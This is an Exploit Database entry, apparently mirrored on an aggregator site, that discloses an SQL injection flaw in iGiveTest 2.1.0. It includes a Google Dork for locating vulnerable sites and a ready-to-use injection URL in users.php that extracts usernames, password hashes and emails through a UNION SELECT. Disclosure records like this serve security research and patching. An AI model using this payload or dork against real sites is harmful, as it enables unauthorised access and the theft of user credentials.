iGiveTest 2.1.0 – SQL Injection

• Exploit Database
• 9 阅读

• 作者： Brendan Coles
  日期： 2011-06-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17426/

• iGiveTest 2.1.0 SQL Injection Vulnerability
  
  # Date: 2011-06-22
  # Author: Brendan Coles <bcoles@gmail.com>
  # Advisory: http://itsecuritysolutions.org/2011-06-22-iGiveTest-2.1.0-SQL-Injection-Vulnerability/
  
  # Software: iGiveTest
  # Version: <= 2.1.0
  # Homepage: http://iGiveTest.com/
  # Google Dork: "Powered by iGiveTest"
  
  # Vendor: Sight2k
  # Homepage: http://sight2k.com/
  # Notified: 2011-03-22 (currently unpatched)
  
  # Exploit:
  
  Guest level privilages, or higher, are required.
  
  http://localhost/[PATH]/users.php?action=groups&order=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1